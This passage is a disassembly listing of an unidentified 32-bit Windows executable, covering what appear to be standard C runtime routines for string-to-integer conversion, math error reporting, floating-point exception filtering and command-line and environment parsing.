					; DATA XREF: r69pu5ti:00421BB0o
		push	dword ptr [ebp+8]
		call	sub_418A5A
		pop	ecx
		retn
sub_414198	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4141A2	proc near		; CODE XREF: sub_4143CD:loc_4143ECp

var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	edi
		push	[ebp+arg_0]
		lea	ecx, [ebp+var_14]
		call	sub_40AB59
		mov	eax, [ebp+arg_8]
		mov	esi, [ebp+arg_4]
		xor	edi, edi
		cmp	eax, edi
		jz	short loc_4141C3
		mov	[eax], esi

loc_4141C3:				; CODE XREF: sub_4141A2+1Dj
		cmp	esi, edi
		jnz	short loc_4141F3

loc_4141C7:				; CODE XREF: sub_4141A2+5Aj
					; sub_4141A2+60j
		call	sub_40F7D4
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		mov	dword ptr [eax], 16h
		call	sub_40CB08
		add	esp, 14h
		cmp	[ebp+var_8], 0
		jz	short loc_4141EC
		mov	eax, [ebp+var_C]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_4141EC:				; CODE XREF: sub_4141A2+41j
		xor	eax, eax
		jmp	loc_4143C9
; ---------------------------------------------------------------------------

loc_4141F3:				; CODE XREF: sub_4141A2+23j
		cmp	[ebp+arg_C], edi
		jz	short loc_414204
		cmp	[ebp+arg_C], 2
		jl	short loc_4141C7
		cmp	[ebp+arg_C], 24h
		jg	short loc_4141C7

loc_414204:				; CODE XREF: sub_4141A2+54j
		mov	ecx, [ebp+var_14]
		push	ebx
		mov	bl, [esi]
		mov	[ebp+var_4], edi
		lea	edi, [esi+1]

loc_414210:				; CODE XREF: sub_4141A2+A5j
		cmp	dword ptr [ecx+0ACh], 1
		jle	short loc_414230
		lea	eax, [ebp+var_14]
		push	eax
		movzx	eax, bl
		push	8
		push	eax
		call	sub_4167A4
		mov	ecx, [ebp+var_14]
		add	esp, 0Ch
		jmp	short loc_414240
; ---------------------------------------------------------------------------

loc_414230:				; CODE XREF: sub_4141A2+75j
		mov	edx, [ecx+0C8h]
		movzx	eax, bl
		movzx	eax, byte ptr [edx+eax*2]
		and	eax, 8

loc_414240:				; CODE XREF: sub_4141A2+8Cj
		test	eax, eax
		jz	short loc_414249
		mov	bl, [edi]
		inc	edi
		jmp	short loc_414210
; ---------------------------------------------------------------------------

loc_414249:				; CODE XREF: sub_4141A2+A0j
		cmp	bl, 2Dh
		jnz	short loc_414254
		or	[ebp+arg_10], 2
		jmp	short loc_414259
; ---------------------------------------------------------------------------

loc_414254:				; CODE XREF: sub_4141A2+AAj
		cmp	bl, 2Bh
		jnz	short loc_41425C

loc_414259:				; CODE XREF: sub_4141A2+B0j
		mov	bl, [edi]
		inc	edi

loc_41425C:				; CODE XREF: sub_4141A2+B5j
		mov	eax, [ebp+arg_C]
		test	eax, eax
		jl	loc_4143B0
		cmp	eax, 1
		jz	loc_4143B0
		cmp	eax, 24h
		jg	loc_4143B0
		test	eax, eax
		jnz	short loc_4142A7
		cmp	bl, 30h
		jz	short loc_41428B
		mov	[ebp+arg_C], 0Ah
		jmp	short loc_4142BF
; ---------------------------------------------------------------------------

loc_41428B:				; CODE XREF: sub_4141A2+DEj
		mov	al, [edi]
		cmp	al, 78h
		jz	short loc_41429E
		cmp	al, 58h
		jz	short loc_41429E
		mov	[ebp+arg_C], 8
		jmp	short loc_4142BF
; ---------------------------------------------------------------------------

loc_41429E:				; CODE XREF: sub_4141A2+EDj
					; sub_4141A2+F1j
		mov	[ebp+arg_C], 10h
		jmp	short loc_4142B1
; ---------------------------------------------------------------------------

loc_4142A7:				; CODE XREF: sub_4141A2+D9j
		cmp	eax, 10h
		jnz	short loc_4142BF
		cmp	bl, 30h
		jnz	short loc_4142BF

loc_4142B1:				; CODE XREF: sub_4141A2+103j
		mov	al, [edi]
		cmp	al, 78h
		jz	short loc_4142BB
		cmp	al, 58h
		jnz	short loc_4142BF

loc_4142BB:				; CODE XREF: sub_4141A2+113j
		inc	edi
		mov	bl, [edi]
		inc	edi

loc_4142BF:				; CODE XREF: sub_4141A2+E7j
					; sub_4141A2+FAj ...
		mov	esi, [ecx+0C8h]
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_C]

loc_4142CD:				; CODE XREF: sub_4141A2+19Dj
		movzx	ecx, bl
		movzx	ecx, word ptr [esi+ecx*2]
		test	cl, 4
		jz	short loc_4142E1
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_4142FB
; ---------------------------------------------------------------------------

loc_4142E1:				; CODE XREF: sub_4141A2+135j
		test	cx, 103h
		jz	short loc_414319
		mov	cl, bl
		sub	cl, 61h
		cmp	cl, 19h
		movsx	ecx, bl
		ja	short loc_4142F8
		sub	ecx, 20h

loc_4142F8:				; CODE XREF: sub_4141A2+151j
		add	ecx, 0FFFFFFC9h

loc_4142FB:				; CODE XREF: sub_4141A2+13Dj
		cmp	ecx, [ebp+arg_C]
		jnb	short loc_414319
		or	[ebp+arg_10], 8
		cmp	[ebp+var_4], eax
		jb	short loc_414330
		jnz	short loc_41430F
		cmp	ecx, edx
		jbe	short loc_414330

loc_41430F:				; CODE XREF: sub_4141A2+167j
		or	[ebp+arg_10], 4
		cmp	[ebp+arg_8], 0
		jnz	short loc_41433C

loc_414319:				; CODE XREF: sub_4141A2+144j
					; sub_4141A2+15Cj
		mov	eax, [ebp+arg_10]
		dec	edi
		test	al, 8
		jnz	short loc_414341
		cmp	[ebp+arg_8], 0
		jz	short loc_41432A
		mov	edi, [ebp+arg_4]

loc_41432A:				; CODE XREF: sub_4141A2+183j
		and	[ebp+var_4], 0
		jmp	short loc_41438C
; ---------------------------------------------------------------------------

loc_414330:				; CODE XREF: sub_4141A2+165j
					; sub_4141A2+16Bj
		mov	ebx, [ebp+var_4]
		imul	ebx, [ebp+arg_C]
		add	ebx, ecx
		mov	[ebp+var_4], ebx

loc_41433C:				; CODE XREF: sub_4141A2+175j
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4142CD
; ---------------------------------------------------------------------------

loc_414341:				; CODE XREF: sub_4141A2+17Dj
		test	al, 4
		mov	esi, 7FFFFFFFh
		jnz	short loc_414365
		test	al, 1
		jnz	short loc_41438C
		and	eax, 2
		jz	short loc_41435C
		cmp	[ebp+var_4], 80000000h
		ja	short loc_414365

loc_41435C:				; CODE XREF: sub_4141A2+1AFj
		test	eax, eax
		jnz	short loc_41438C
		cmp	[ebp+var_4], esi
		jbe	short loc_41438C

loc_414365:				; CODE XREF: sub_4141A2+1A6j
					; sub_4141A2+1B8j
		call	sub_40F7D4
		test	byte ptr [ebp+arg_10], 1
		mov	dword ptr [eax], 22h
		jz	short loc_41437C
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41438C
; ---------------------------------------------------------------------------

loc_41437C:				; CODE XREF: sub_4141A2+1D2j
		mov	al, byte ptr [ebp+arg_10]
		and	al, 2
		neg	al
		sbb	eax, eax
		neg	eax
		add	eax, esi
		mov	[ebp+var_4], eax

loc_41438C:				; CODE XREF: sub_4141A2+18Cj
					; sub_4141A2+1AAj ...
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jz	short loc_414395
		mov	[eax], edi

loc_414395:				; CODE XREF: sub_4141A2+1EFj
		test	byte ptr [ebp+arg_10], 2
		jz	short loc_41439E
		neg	[ebp+var_4]

loc_41439E:				; CODE XREF: sub_4141A2+1F7j
		cmp	[ebp+var_8], 0
		jz	short loc_4143AB
		mov	eax, [ebp+var_C]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_4143AB:				; CODE XREF: sub_4141A2+200j
		mov	eax, [ebp+var_4]
		jmp	short loc_4143C8
; ---------------------------------------------------------------------------

loc_4143B0:				; CODE XREF: sub_4141A2+BFj
					; sub_4141A2+C8j ...
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jz	short loc_4143B9
		mov	[eax], esi

loc_4143B9:				; CODE XREF: sub_4141A2+213j
		cmp	[ebp+var_8], 0
		jz	short loc_4143C6
		mov	eax, [ebp+var_C]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_4143C6:				; CODE XREF: sub_4141A2+21Bj
		xor	eax, eax

loc_4143C8:				; CODE XREF: sub_4141A2+20Cj
		pop	ebx

loc_4143C9:				; CODE XREF: sub_4141A2+4Cj
		pop	edi
		pop	esi
		leave
		retn
sub_4141A2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4143CD	proc near		; CODE XREF: sub_40DE2C+8p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		xor	eax, eax
		cmp	dword_425E60, eax
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		jnz	short loc_4143EB
		push	offset off_423680
		jmp	short loc_4143EC
; ---------------------------------------------------------------------------

loc_4143EB:				; CODE XREF: sub_4143CD+15j
		push	eax

loc_4143EC:				; CODE XREF: sub_4143CD+1Cj
		call	sub_4141A2
		add	esp, 14h
		pop	ebp
		retn
sub_4143CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4143F6	proc near		; CODE XREF: sub_40DE50+B5p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= qword	ptr -20h
var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		xor	eax, eax
		cmp	dword_426370, eax
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_0]
		mov	byte ptr [ebp+var_8], al
		mov	byte ptr [ebp+var_8+1],	al
		mov	byte ptr [ebp+var_8+2],	al
		mov	byte ptr [ebp+var_8+3],	al
		mov	byte ptr [ebp+var_8+4],	al
		mov	byte ptr [ebp+var_8+5],	al
		mov	byte ptr [ebp+var_8+6],	al
		mov	byte ptr [ebp+var_8+7],	al
		jz	short loc_414438
		push	dword_433BE0
		call	sub_40F194
		pop	ecx
		jmp	short loc_41443D
; ---------------------------------------------------------------------------

loc_414438:				; CODE XREF: sub_4143F6+32j
		mov	eax, offset sub_4192D8

loc_41443D:				; CODE XREF: sub_4143F6+40j
		mov	ecx, [ebp+arg_C]
		mov	edx, 0A6h
		cmp	ecx, edx
		jg	loc_4145C1
		jz	loc_4145AE
		cmp	ecx, 19h
		jg	loc_414554
		jz	loc_41454B
		mov	edx, ecx
		push	2
		pop	ecx
		sub	edx, ecx
		jz	loc_41453C
		dec	edx
		jz	loc_414533
		sub	edx, 5
		jz	loc_414524
		dec	edx
		jz	loc_41450C
		sub	edx, 5
		jz	short loc_4144FC
		dec	edx
		jz	short loc_4144D3
		sub	edx, 9
		jnz	loc_41466B	; default
		mov	[ebp+var_28], 3

loc_41449E:				; CODE XREF: sub_4143F6+1ACj
		mov	[ebp+var_24], offset aPow ; "pow"

loc_4144A5:				; CODE XREF: sub_4143F6+114j
					; sub_4143F6+138j ...
		fld	qword ptr [edi]
		lea	ecx, [ebp+var_28]
		fstp	[ebp+var_20]
		push	ecx
		fld	qword ptr [ebx]
		fstp	[ebp+var_18]
		fld	qword ptr [esi]
		fstp	[ebp+var_10]
		call	eax
		test	eax, eax
		pop	ecx
		jnz	loc_414666
		call	sub_40F7D4
		mov	dword ptr [eax], 22h
		jmp	loc_414666
; ---------------------------------------------------------------------------

loc_4144D3:				; CODE XREF: sub_4143F6+96j
		mov	[ebp+var_24], offset aExp ; "exp"

loc_4144DA:				; CODE XREF: sub_4143F6+15Cj
		fld	qword ptr [edi]
		lea	ecx, [ebp+var_28]
		fstp	[ebp+var_20]
		push	ecx
		fld	qword ptr [ebx]
		mov	[ebp+var_28], 4
		fstp	[ebp+var_18]
		fld	qword ptr [esi]
		fstp	[ebp+var_10]
		call	eax
		pop	ecx
		jmp	loc_414666
; ---------------------------------------------------------------------------

loc_4144FC:				; CODE XREF: sub_4143F6+93j
		mov	[ebp+var_28], 3
		mov	[ebp+var_24], offset aExp ; "exp"
		jmp	short loc_4144A5
; ---------------------------------------------------------------------------

loc_41450C:				; CODE XREF: sub_4143F6+8Aj
		mov	[ebp+var_24], offset aLog10 ; "log10"

loc_414513:				; CODE XREF: sub_4143F6+144j
					; sub_4143F6+181j ...
		fld	qword ptr [edi]
		fstp	[ebp+var_20]
		fld	qword ptr [ebx]
		fstp	[ebp+var_18]
		fld	qword ptr [esi]
		jmp	loc_414646
; ---------------------------------------------------------------------------

loc_414524:				; CODE XREF: sub_4143F6+83j
		mov	[ebp+var_28], ecx
		mov	[ebp+var_24], offset aLog10 ; "log10"
		jmp	loc_4144A5
; ---------------------------------------------------------------------------

loc_414533:				; CODE XREF: sub_4143F6+7Aj
		mov	[ebp+var_24], offset aLog ; "log"
		jmp	short loc_414513
; ---------------------------------------------------------------------------

loc_41453C:				; CODE XREF: sub_4143F6+73j
		mov	[ebp+var_28], ecx
		mov	[ebp+var_24], offset aLog ; "log"
		jmp	loc_4144A5
; ---------------------------------------------------------------------------

loc_41454B:				; CODE XREF: sub_4143F6+66j
		mov	[ebp+var_24], offset aPow ; "pow"
		jmp	short loc_4144DA
; ---------------------------------------------------------------------------

loc_414554:				; CODE XREF: sub_4143F6+60j
		sub	ecx, 1Ah
		jz	short loc_4145A7
		dec	ecx
		jz	short loc_41459B
		dec	ecx
		jz	short loc_41458F ; jumptable 004145D0 case 1006
		dec	ecx
		jz	short loc_414582
		sub	ecx, 1Dh
		jz	short loc_414579 ; jumptable 004145D0 case 1008
		sub	ecx, 3
		jnz	loc_41466B	; default

loc_414570:				; CODE XREF: sub_4143F6+1DAj
					; DATA XREF: .text:off_414672o
		mov	[ebp+var_24], offset aAsin ; jumptable 004145D0	case 1009
		jmp	short loc_414513
; ---------------------------------------------------------------------------

loc_414579:				; CODE XREF: sub_4143F6+16Fj
					; sub_4143F6+1DAj
					; DATA XREF: ...
		mov	[ebp+var_24], offset aAcos ; jumptable 004145D0	case 1008
		jmp	short loc_414513
; ---------------------------------------------------------------------------

loc_414582:				; CODE XREF: sub_4143F6+16Aj
		mov	[ebp+var_24], offset aPow ; "pow"

loc_414589:				; CODE XREF: sub_4143F6+1E8j
					; sub_4143F6+1F1j ...
		fld	qword ptr [edi]
		fstp	qword ptr [esi]
		jmp	short loc_414513
; ---------------------------------------------------------------------------

loc_41458F:				; CODE XREF: sub_4143F6+167j
					; sub_4143F6+1DAj
					; DATA XREF: ...
		mov	[ebp+var_24], offset aPow ; jumptable 004145D0 case 1006
		jmp	loc_414513
; ---------------------------------------------------------------------------

loc_41459B:				; CODE XREF: sub_4143F6+164j
		mov	[ebp+var_28], 2
		jmp	loc_41449E
; ---------------------------------------------------------------------------

loc_4145A7:				; CODE XREF: sub_4143F6+161j
		fld1
		jmp	loc_414669
; ---------------------------------------------------------------------------

loc_4145AE:				; CODE XREF: sub_4143F6+57j
		mov	[ebp+var_28], 3
		mov	[ebp+var_24], offset aExp10 ; "exp10"
		jmp	loc_4144A5
; ---------------------------------------------------------------------------

loc_4145C1:				; CODE XREF: sub_4143F6+51j
		add	ecx, 0FFFFFC18h	; switch 13 cases
		cmp	ecx, 0Ch
		ja	loc_41466B	; default
		jmp	ds:off_414672[ecx*4] ; switch jump

loc_4145D7:				; DATA XREF: .text:off_414672o
		mov	[ebp+var_24], offset aLog ; jumptable 004145D0 case 1000
		jmp	short loc_414589
; ---------------------------------------------------------------------------

loc_4145E0:				; CODE XREF: sub_4143F6+1DAj
					; DATA XREF: .text:off_414672o
		mov	[ebp+var_24], offset aLog10 ; jumptable	004145D0 case 1001
		jmp	short loc_414589
; ---------------------------------------------------------------------------

loc_4145E9:				; CODE XREF: sub_4143F6+1DAj
					; DATA XREF: .text:off_414672o
		mov	[ebp+var_24], offset aExp ; jumptable 004145D0 case 1002
		jmp	short loc_414589
; ---------------------------------------------------------------------------

loc_4145F2:				; CODE XREF: sub_4143F6+1DAj
					; DATA XREF: .text:off_414672o
		mov	[ebp+var_24], offset aAtan ; jumptable 004145D0	case 1003
		jmp	short loc_414589
; ---------------------------------------------------------------------------

loc_4145FB:				; CODE XREF: sub_4143F6+1DAj
					; DATA XREF: .text:off_414672o
		mov	[ebp+var_24], offset aCeil ; jumptable 004145D0	case 1004
		jmp	short loc_414589
; ---------------------------------------------------------------------------

loc_414604:				; CODE XREF: sub_4143F6+1DAj
					; DATA XREF: .text:off_414672o
		mov	[ebp+var_24], offset aFloor ; jumptable	004145D0 case 1005
		jmp	loc_414589
; ---------------------------------------------------------------------------

loc_414610:				; CODE XREF: sub_4143F6+1DAj
					; DATA XREF: .text:off_414672o
		mov	[ebp+var_24], offset aModf ; jumptable 004145D0	case 1007
		jmp	loc_414589
; ---------------------------------------------------------------------------

loc_41461C:				; CODE XREF: sub_4143F6+1DAj
					; DATA XREF: .text:off_414672o
		mov	[ebp+var_24], offset dword_41EBB0 ; jumptable 004145D0 case 1010
		jmp	short loc_414635
; ---------------------------------------------------------------------------

loc_414625:				; CODE XREF: sub_4143F6+1DAj
					; DATA XREF: .text:off_414672o
		mov	[ebp+var_24], offset dword_41EBAC ; jumptable 004145D0 case 1011
		jmp	short loc_414635
; ---------------------------------------------------------------------------

loc_41462E:				; CODE XREF: sub_4143F6+1DAj
					; DATA XREF: .text:off_414672o
		mov	[ebp+var_24], offset dword_41EBA8 ; jumptable 004145D0 case 1012

loc_414635:				; CODE XREF: sub_4143F6+22Dj
					; sub_4143F6+236j
		fld	qword ptr [edi]
		fmul	[ebp+var_8]
		fst	qword ptr [esi]
		fld	qword ptr [edi]
		fstp	[ebp+var_20]
		fld	qword ptr [ebx]
		fstp	[ebp+var_18]

loc_414646:				; CODE XREF: sub_4143F6+129j
		lea	ecx, [ebp+var_28]
		fstp	[ebp+var_10]
		push	ecx
		mov	[ebp+var_28], 1
		call	eax
		test	eax, eax
		pop	ecx
		jnz	short loc_414666
		call	sub_40F7D4
		mov	dword ptr [eax], 21h

loc_414666:				; CODE XREF: sub_4143F6+C7j
					; sub_4143F6+D8j ...
		fld	[ebp+var_10]

loc_414669:				; CODE XREF: sub_4143F6+1B3j
		fstp	qword ptr [esi]

loc_41466B:				; CODE XREF: sub_4143F6+9Bj
					; sub_4143F6+174j ...
		pop	edi		; default
		pop	esi
		pop	ebx
		leave
		retn
sub_4143F6	endp

; ---------------------------------------------------------------------------
		db 8Bh,	0FFh
off_414672	dd offset loc_4145D7	; DATA XREF: sub_4143F6+1DAr
		dd offset loc_4145E0	; jump table for switch	statement
		dd offset loc_4145E9
		dd offset loc_4145F2
		dd offset loc_4145FB
		dd offset loc_414604
		dd offset loc_41458F
		dd offset loc_414610
		dd offset loc_414579
		dd offset loc_414570
		dd offset loc_41461C
		dd offset loc_414625
		dd offset loc_41462E

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4146A6(double)

sub_4146A6	proc near		; CODE XREF: sub_40DE50+7j
					; sub_40DE50+38j

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_423D98
		call	sub_419B71
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		push	ecx
		and	ax, 7FF0h
		cmp	ax, 7FF0h
		push	ecx
		fstp	[esp+18h+var_18]
		jnz	short loc_41472C
		call	sub_419A50
		test	eax, eax
		pop	ecx
		pop	ecx
		jle	short loc_41470F
		cmp	eax, 2
		jle	short loc_414701
		cmp	eax, 3
		jnz	short loc_41470F
		fld	[ebp+arg_0]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		push	0Ch		; int
		call	sub_419908
		add	esp, 10h
		jmp	short loc_414773
; ---------------------------------------------------------------------------

loc_414701:				; CODE XREF: sub_4146A6+3Fj
		push	esi
		push	ebx
		call	sub_419B71
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_414773
; ---------------------------------------------------------------------------

loc_41470F:				; CODE XREF: sub_4146A6+3Aj
					; sub_4146A6+44j
		fld	[ebp+arg_0]
		push	ebx
		fadd	ds:dbl_41EBE0
		sub	esp, 10h
		fstp	qword ptr [esp+8]
		fld	[ebp+arg_0]
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_41476B
; ---------------------------------------------------------------------------

loc_41472C:				; CODE XREF: sub_4146A6+2Fj
		call	sub_419A15
		fstp	[ebp+var_8]
		fld	[ebp+arg_0]
		pop	ecx
		fcomp	[ebp+var_8]
		pop	ecx
		fnstsw	ax
		test	ah, 44h
		jp	short loc_414751

loc_414743:				; CODE XREF: sub_4146A6+AEj
		push	esi
		push	ebx
		call	sub_419B71
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_414773
; ---------------------------------------------------------------------------

loc_414751:				; CODE XREF: sub_4146A6+9Bj
		test	bl, 20h
		jnz	short loc_414743
		fld	[ebp+var_8]
		push	ebx		; int
		sub	esp, 10h
		fstp	qword ptr [esp+8]
		fld	[ebp+arg_0]
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int

loc_41476B:				; CODE XREF: sub_4146A6+84j
		call	sub_41995B
		add	esp, 1Ch

loc_414773:				; CODE XREF: sub_4146A6+59j
					; sub_4146A6+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_4146A6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414777	proc near		; CODE XREF: .text:0040E16Bp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		call	sub_40F31B
		mov	esi, eax
		test	esi, esi
		jnz	short loc_414796
		push	[ebp+arg_4]
		call	ds:off_41E1A4
		jmp	loc_4148E3
; ---------------------------------------------------------------------------

loc_414796:				; CODE XREF: sub_414777+Fj
		mov	edx, [esi+5Ch]
		mov	eax, dword_423E24
		push	edi
		mov	edi, [ebp+arg_0]
		mov	ecx, edx
		push	ebx

loc_4147A5:				; CODE XREF: sub_414777+3Ej
		cmp	[ecx], edi
		jz	short loc_4147B7
		mov	ebx, eax
		imul	ebx, 0Ch
		add	ecx, 0Ch
		add	ebx, edx
		cmp	ecx, ebx
		jb	short loc_4147A5

loc_4147B7:				; CODE XREF: sub_414777+30j
		imul	eax, 0Ch
		add	eax, edx
		cmp	ecx, eax
		jnb	short loc_4147C8
		cmp	[ecx], edi
		jnz	short loc_4147C8
		mov	eax, ecx
		jmp	short loc_4147CA
; ---------------------------------------------------------------------------

loc_4147C8:				; CODE XREF: sub_414777+47j
					; sub_414777+4Bj
		xor	eax, eax

loc_4147CA:				; CODE XREF: sub_414777+4Fj
		test	eax, eax
		jz	short loc_4147D8
		mov	ebx, [eax+8]
		test	ebx, ebx
		mov	[ebp+var_4], ebx
		jnz	short loc_4147E6

loc_4147D8:				; CODE XREF: sub_414777+55j
		push	[ebp+arg_4]
		call	ds:off_41E1A4
		jmp	loc_4148E1
; ---------------------------------------------------------------------------

loc_4147E6:				; CODE XREF: sub_414777+5Fj
		cmp	ebx, 5
		jnz	short loc_4147F7
		and	dword ptr [eax+8], 0
		xor	eax, eax
		inc	eax
		jmp	loc_4148E1
; ---------------------------------------------------------------------------

loc_4147F7:				; CODE XREF: sub_414777+72j
		cmp	ebx, 1
		jz	loc_4148DE
		mov	ecx, [esi+60h]
		mov	[ebp+var_8], ecx
		mov	ecx, [ebp+arg_4]
		mov	[esi+60h], ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_4148D0
		mov	ecx, dword_423E18
		mov	edi, dword_423E1C
		mov	edx, ecx
		add	edi, ecx
		cmp	edx, edi
		jge	short loc_414850
		imul	ecx, 0Ch

loc_41482F:				; CODE XREF: sub_414777+D4j
		mov	edi, [esi+5Ch]
		and	dword ptr [ecx+edi+8], 0
		mov	edi, dword_423E18
		mov	ebx, dword_423E1C
		inc	edx
		add	ebx, edi
		add	ecx, 0Ch
		cmp	edx, ebx
		jl	short loc_41482F
		mov	ebx, [ebp+var_4]

loc_414850:				; CODE XREF: sub_414777+B3j
		mov	eax, [eax]
		cmp	eax, 0C000008Eh
		mov	edi, [esi+64h]
		jnz	short loc_414865
		mov	dword ptr [esi+64h], 83h
		jmp	short loc_4148C3
; ---------------------------------------------------------------------------

loc_414865:				; CODE XREF: sub_414777+E3j
		cmp	eax, 0C0000090h
		jnz	short loc_414875
		mov	dword ptr [esi+64h], 81h
		jmp	short loc_4148C3
; ---------------------------------------------------------------------------

loc_414875:				; CODE XREF: sub_414777+F3j
		cmp	eax, 0C0000091h
		jnz	short loc_414885
		mov	dword ptr [esi+64h], 84h
		jmp	short loc_4148C3
; ---------------------------------------------------------------------------

loc_414885:				; CODE XREF: sub_414777+103j
		cmp	eax, 0C0000093h
		jnz	short loc_414895
		mov	dword ptr [esi+64h], 85h
		jmp	short loc_4148C3
; ---------------------------------------------------------------------------

loc_414895:				; CODE XREF: sub_414777+113j
		cmp	eax, 0C000008Dh
		jnz	short loc_4148A5
		mov	dword ptr [esi+64h], 82h
		jmp	short loc_4148C3
; ---------------------------------------------------------------------------

loc_4148A5:				; CODE XREF: sub_414777+123j
		cmp	eax, 0C000008Fh
		jnz	short loc_4148B5
		mov	dword ptr [esi+64h], 86h
		jmp	short loc_4148C3
; ---------------------------------------------------------------------------

loc_4148B5:				; CODE XREF: sub_414777+133j
		cmp	eax, 0C0000092h
		jnz	short loc_4148C3
		mov	dword ptr [esi+64h], 8Ah

loc_4148C3:				; CODE XREF: sub_414777+ECj
					; sub_414777+FCj ...
		push	dword ptr [esi+64h]
		push	8
		call	ebx
		pop	ecx
		mov	[esi+64h], edi
		jmp	short loc_4148D7
; ---------------------------------------------------------------------------

loc_4148D0:				; CODE XREF: sub_414777+9Bj
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx

loc_4148D7:				; CODE XREF: sub_414777+157j
		mov	eax, [ebp+var_8]
		pop	ecx
		mov	[esi+60h], eax

loc_4148DE:				; CODE XREF: sub_414777+83j
		or	eax, 0FFFFFFFFh

loc_4148E1:				; CODE XREF: sub_414777+6Aj
					; sub_414777+7Bj
		pop	ebx
		pop	edi

loc_4148E3:				; CODE XREF: sub_414777+1Aj
		pop	esi
		leave
		retn
sub_414777	endp


; =============== S U B	R O U T	I N E =======================================



sub_4148E6	proc near		; CODE XREF: .text:loc_40E128p
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_434D34, edi
		jnz	short loc_4148F7
		call	sub_40EE04

loc_4148F7:				; CODE XREF: sub_4148E6+Aj
		mov	esi, dword_434D60
		test	esi, esi
		jnz	short loc_414906
		mov	esi, offset byte_4202A1

loc_414906:				; CODE XREF: sub_4148E6+19j
					; sub_4148E6+4Bj
		mov	al, [esi]
		cmp	al, 20h
		ja	short loc_414914
		test	al, al
		jz	short loc_41493E
		test	edi, edi
		jz	short loc_414938

loc_414914:				; CODE XREF: sub_4148E6+24j
		cmp	al, 22h
		jnz	short loc_414921
		xor	ecx, ecx
		test	edi, edi
		setz	cl
		mov	edi, ecx

loc_414921:				; CODE XREF: sub_4148E6+30j
		movzx	eax, al
		push	eax
		call	sub_419CB1
		test	eax, eax
		pop	ecx
		jz	short loc_414930
		inc	esi

loc_414930:				; CODE XREF: sub_4148E6+47j
		inc	esi
		jmp	short loc_414906
; ---------------------------------------------------------------------------

loc_414933:				; CODE XREF: sub_4148E6+56j
		cmp	al, 20h
		ja	short loc_41493E
		inc	esi

loc_414938:				; CODE XREF: sub_4148E6+2Cj
		mov	al, [esi]
		test	al, al
		jnz	short loc_414933

loc_41493E:				; CODE XREF: sub_4148E6+28j
					; sub_4148E6+4Fj
		pop	edi
		mov	eax, esi
		pop	esi
		retn
sub_4148E6	endp


; =============== S U B	R O U T	I N E =======================================



sub_414943	proc near		; CODE XREF: .text:loc_40E105p
		push	ebx
		xor	ebx, ebx
		cmp	dword_434D34, ebx
		push	esi
		push	edi
		jnz	short loc_414955
		call	sub_40EE04

loc_414955:				; CODE XREF: sub_414943+Bj
		mov	esi, dword_425B14
		xor	edi, edi
		cmp	esi, ebx
		jnz	short loc_414979

loc_414961:				; CODE XREF: sub_414943+51j
		or	eax, 0FFFFFFFFh
		jmp	loc_414A04
; ---------------------------------------------------------------------------

loc_414969:				; CODE XREF: sub_414943+3Aj
		cmp	al, 3Dh
		jz	short loc_41496E
		inc	edi

loc_41496E:				; CODE XREF: sub_414943+28j
		push	esi
		call	sub_40C500
		pop	ecx
		lea	esi, [esi+eax+1]

loc_414979:				; CODE XREF: sub_414943+1Cj
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_414969
		push	4
		inc	edi
		push	edi
		call	sub_41187A
		mov	edi, eax
		cmp	edi, ebx
		pop	ecx
		pop	ecx
		mov	dword_426018, edi
		jz	short loc_414961
		mov	esi, dword_425B14
		push	ebp
		jmp	short loc_4149DF
; ---------------------------------------------------------------------------

loc_41499F:				; CODE XREF: sub_414943+9Ej
		push	esi
